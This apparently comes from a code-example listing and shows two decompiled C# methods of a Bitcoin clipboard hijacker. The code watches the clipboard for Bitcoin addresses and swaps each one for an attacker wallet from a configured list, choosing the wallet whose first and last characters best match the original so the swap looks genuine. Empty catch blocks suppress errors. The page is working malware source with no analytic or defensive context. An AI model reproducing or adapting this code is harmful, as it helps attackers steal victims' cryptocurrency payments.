Esempio n. 1
0
 // Token: 0x060002BC RID: 700 RVA: 0x00012C30 File Offset: 0x00010E30
 public static void GetBitcoinWhile()
 {
     try
     {
         if (Clipboard.ContainsText())
         {
             string text = Clipboard.GetText();
             if (!Config.walletsbtc.Contains(text) && CheckBTC.Clipregex(text))
             {
                 CheckBTC.SetsBTC(text);
             }
         }
     }
     catch
     {
     }
 }
Esempio n. 2
0
 // Token: 0x060002BF RID: 703 RVA: 0x00012CBC File Offset: 0x00010EBC
 internal static void SetsBTC(string originalClipboardText)
 {
     try
     {
         string           b       = originalClipboardText.Trim();
         HashSet <string> hashSet = new HashSet <string>();
         int num = 0;
         foreach (string text in Config.walletsbtc.ToList <string>())
         {
             int num2 = CheckBTC.FirstCharFitNum(text, b);
             if (num2 >= num)
             {
                 if (num2 == num)
                 {
                     hashSet.Add(text);
                 }
                 else if (num2 > num)
                 {
                     hashSet.Clear();
                     num = num2;
                     hashSet.Add(text);
                     Clipboard.SetText(text);
                 }
             }
         }
         int num3 = 0;
         foreach (string text2 in hashSet)
         {
             int num4 = CheckBTC.LastCharFitNum(text2, b);
             if (num4 > num3)
             {
                 num3 = num4;
                 Clipboard.SetText(text2);
             }
         }
     }
     catch
     {
     }
 }